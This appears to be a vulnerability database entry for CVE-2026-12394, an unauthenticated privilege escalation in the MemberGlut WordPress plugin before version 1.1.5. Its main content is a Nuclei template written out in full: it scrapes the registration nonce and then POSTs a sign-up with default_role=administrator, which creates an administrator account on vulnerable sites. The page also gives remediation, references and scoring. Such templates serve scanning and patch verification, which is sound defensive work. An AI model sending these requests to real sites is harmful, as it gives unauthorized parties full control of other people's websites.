WordPress MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2026-12394 | 27 Jul 202606:00 | – | attackerkb | |
| CVE-2026-12394 | 27 Jul 202617:10 | – | circl | |
| CVE-2026-12394 | 27 Jul 202606:00 | – | cve | |
| CVE-2026-12394 MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation to Administrator | 27 Jul 202606:00 | – | cvelist | |
| EUVD-2026-49066 | 27 Jul 202606:00 | – | euvd | |
| CVE-2026-12394 | 27 Jul 202607:16 | – | nvd | |
| WordPress MemberGlut plugin < 1.1.5 - Unauthenticated Privilege Escalation to Administrator vulnerability | 29 Jul 202606:52 | – | patchstack | |
| PT-2026-64833 | 27 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-12394 MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation to Administrator | 27 Jul 202606:00 | – | vulnrichment |
id: CVE-2026-12394
info:
name: WordPress MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation
author: str4k3r
severity: critical
description: |
MemberGlut WordPress plugin < 1.1.5 contains a broken access control vulnerability caused by lack of validation of roles during front-end registration, letting unauthenticated users register with arbitrary roles including administrator, exploit requires no authentication.
impact: |
Unauthenticated users can register as administrators, leading to full site compromise.
remediation: |
Update to version 1.1.5 or later.
reference:
- https://wpscan.com/vulnerability/6b126a3e-30d5-4bed-ba47-33e589ec2852/
- https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.0/includes/class-memberglut-forms.php
- https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.5/includes/class-memberglut-forms.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-12394
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-12394
epss-score: 0.00277
epss-percentile: 0.20236
cwe-id: CWE-269
metadata:
max-request: 3
verified: true
vendor: memberglut
product: memberglut
fofa-query: body="wp-content/plugins/memberglut"
tags: cve,cve2026,wordpress,wp-plugin,memberglut,privesc,unauth,wp
variables:
rand_user: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /register/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, "register_nonce", "memberglut_register")
- status_code == 200
condition: and
internal: true
extractors:
- type: regex
name: register_nonce
part: body
group: 1
regex:
- 'name="register_nonce"\s*value="([a-f0-9]+)"'
internal: true
- raw:
- |
POST /register/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=memberglut_register®ister_nonce={{register_nonce}}&username={{rand_user}}&email={{rand_user}}@example.test&password=Cve12394Test1!&first_name=a&last_name=a&default_role=administrator
- |
GET /wp-admin/users.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_1 == 302
- contains(header_1, "registration_success")
- status_code_2 == 200
- contains_all(body_2, "wpbody-content", "Administrator")
condition: and
# digest: 490a004630440220487ca41ecfa8e3a6fbeeea5263bbafb88c5cc4c78e495fd0c9995edef8a91d1f0220212e9fc937619ccd182f6c68fed10150cdc6f62194a24d5e5fe40ecd82c77a38:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 21:41Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
EPSS0.00277
SSVC